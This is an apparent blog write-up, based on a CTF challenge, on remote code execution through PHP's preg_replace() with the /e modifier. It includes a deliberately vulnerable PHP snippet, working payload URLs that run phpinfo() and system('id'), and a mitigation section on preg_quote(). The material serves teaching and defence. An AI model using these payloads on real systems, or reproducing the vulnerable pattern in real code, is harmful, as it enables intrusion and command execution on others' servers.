Command Execution - preg_replace() PHP Function Exploit | RCE
I recently found some code vulnerable to this attack in the wild, so I thought I’d put together a quick write up for pentesters and PHP coders who may not be familiar with the danger.
preg_replace();
The preg_replace()
function returns a string or array of strings where all matches of a pattern or list of patterns found in the input are replaced with substrings. (more)
Let’s analysis with a sample code :
<?php
echo "<br >Welcome My Admin ! <br >";
if (isset($_GET['pat']) && isset($_GET['rep']) && isset($_GET['sub'])) {
$pattern = $_GET['pat'];
$replacement = $_GET['rep'];
$subject = $_GET['sub'];
echo "original : ".$subject ."</br>";
echo "replaced : ".preg_replace($pattern, $replacement, $subject);
}else{
die();
}
?>
Mostly developers used this function for words filtering techniques. such as email bad words filters. Above code took from one of the CTF challenges that i played . This code accepts user inputs and replace the user subject when delimiter/pattern get match .
index.php?pat=/as/&rep=As&sub=as your wish exploit
After executing this , preg_replace()
the search for `as` and replace with `As` .
Exploiting the code:
To exploit the code, all the attacker has to do is provide some PHP code to execute, generate a regular expression which replaces some or all of the string with the code, and set the `e` modifier on the regular expression/pattern
payload: index.php?pat=/a/e&rep=phpinfo();&sub=abc
So we can execute whatever we want….
Based on the example above, the attacker can execute the id
shell command using the system()
function in PHP.
payload : index.php?pat=/a/e&rep=system(‘id’);&sub=abc
Once an attacker is able to execute OS commands, they could attempt to use a web shell or install other malware. From there, an attacker may even attempt to compromise other internal systems.
Prevention
PHP provides a function named as preg_quote() which will quote all nasty characters in the input string and prevent this code execution vulnerability.
<?php
$in = 'Somewhere, something incredible is waiting to be known';
echo preg_replace('#' . preg_quote($_GET['replace'], '#') . '#', $_GET['with'], $in);
?>
Using preg_quote() renders all regex characters inert, so if you need to allow some access to use regular expressions, you’ll need to escape your delimitation character by hand. Be very careful though, this approach is error prone; you’ll need to escape the escape character as well, otherwise the attacker can just escape your escaping with their own escape character.
The implications of this issue stretch far and wide. Its subtle yet deadly nature make it an easy vulnerability to miss when developing and reviewing code. Be careful out there, and always think about how you use your input.